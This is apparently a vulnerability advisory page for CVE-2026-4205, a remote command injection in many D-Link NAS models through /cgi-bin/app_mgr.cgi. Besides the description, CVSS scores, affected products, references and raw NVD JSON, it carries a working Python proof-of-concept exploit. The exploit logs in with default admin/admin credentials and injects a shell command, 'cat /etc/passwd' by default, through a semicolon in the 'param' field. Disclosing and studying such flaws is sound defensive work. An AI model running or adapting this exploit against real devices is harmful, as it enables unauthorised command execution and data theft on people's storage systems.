CVE-2026-4205

Description

A vulnerability has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. The impacted element is the function cgi_refresh_db/FTP_Server_BlockIP_Add/FTP_Server_BlockIP_Del of the file /cgi-bin/app_mgr.cgi. Such manipulation leads to command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-202l:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dnr-326_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-326:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1100-4_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1100-4:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-120_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-120:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1200-05_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1200-05:-:*:*:*:*:*:*:* - NOT VULNERABLE

D-Link DNS-120 (固件 <= 20260205)

D-Link DNR-202L (固件 <= 20260205)

D-Link DNS-315L (固件 <= 20260205)

D-Link DNS-320/DNS-320L/DNS-320LW (固件 <= 20260205)

D-Link DNS-321 (固件 <= 20260205)

D-Link DNR-322L (固件 <= 20260205)

D-Link DNS-323 (固件 <= 20260205)

D-Link DNS-325/DNS-326/DNS-327L (固件 <= 20260205)

D-Link DNR-326 (固件 <= 20260205)

D-Link DNS-340L (固件 <= 20260205)

D-Link DNS-343 (固件 <= 20260205)

D-Link DNS-345 (固件 <= 20260205)

D-Link DNS-726-4 (固件 <= 20260205)

D-Link DNS-1100-4 (固件 <= 20260205)

D-Link DNS-1200-05 (固件 <= 20260205)

D-Link DNS-1550-04 (固件 <= 20260205)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2026-4205 D-Link NAS Command Injection PoC
Target: /cgi-bin/app_mgr.cgi
Functions: cgi_refresh_db, FTP_Server_BlockIP_Add, FTP_Server_BlockIP_Del
"""
import requests
import sys

TARGET = "http://<target-ip>"
LOGIN_URL = f"{TARGET}/cgi-bin/login.cgi"
EXPLOIT_URL = f"{TARGET}/cgi-bin/app_mgr.cgi"

def login():
    """Authenticate with low-privilege credentials"""
    data = {
        "username": "admin",
        "password": "admin"
    }
    try:
        resp = requests.post(LOGIN_URL, data=data, timeout=10)
        return resp.cookies
    except:
        return {}

def exploit_command_injection(cookies, function, cmd):
    """
    Inject command via specified function
    function: cgi_refresh_db | FTP_Server_BlockIP_Add | FTP_Server_BlockIP_Del
    cmd: command to execute (e.g., 'cat /etc/passwd')
    """
    payload = f";{cmd}"
    data = {
        "cmd": function,
        "param": payload
    }
    try:
        resp = requests.post(EXPLOIT_URL, data=data, cookies=cookies, timeout=10)
        return resp.text
    except Exception as e:
        return f"Error: {e}"

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target-ip> [command]")
        sys.exit(1)
    
    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "cat /etc/passwd"
    
    TARGET = f"http://{target}"
    LOGIN_URL = f"{TARGET}/cgi-bin/login.cgi"
    EXPLOIT_URL = f"{TARGET}/cgi-bin/app_mgr.cgi"
    
    print(f"[*] Logging in to {target}...")
    cookies = login()
    
    print(f"[*] Exploiting {EXPLOIT_URL} with command: {cmd}")
    result = exploit_command_injection(cookies, "cgi_refresh_db", cmd)
    print(f"[+] Result:\n{result}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4205
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4205
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4205/
[4] VulDB https://vuldb.com/cve/CVE-2026-4205
[5] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_131/131.md
[6] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_132/132.md
[7] https://vuldb.com/?ctiid.351117
[8] https://vuldb.com/?id.351117
[9] https://vuldb.com/?submit.770410
[10] https://vuldb.com/?submit.770411
[11] https://vuldb.com/?submit.770412
[12] https://www.dlink.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4205", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:05.900", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. The impacted element is the function cgi_refresh_db/FTP_Server_BlockIP_Add/FTP_Server_BlockIP_Del of the file /cgi-bin/app_mgr.cgi. Such manipulation leads to command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 y DNS-1550-04 hasta 20260205. El elemento afectado es la función cgi_refresh_db/FTP_Server_BlockIP_Add/FTP_Server_BlockIP_Del del archivo /cgi-bin/app_mgr.cgi. Dicha manipulación conduce a inyección de comandos. El ataque puede ejecutarse de forma remota. El exploit ha sido divulgado al público y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026-02-05", "matchCriteriaId": "E20A03F5-6985-4917-8E5B-48963FB62AF2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerabl ... (truncated)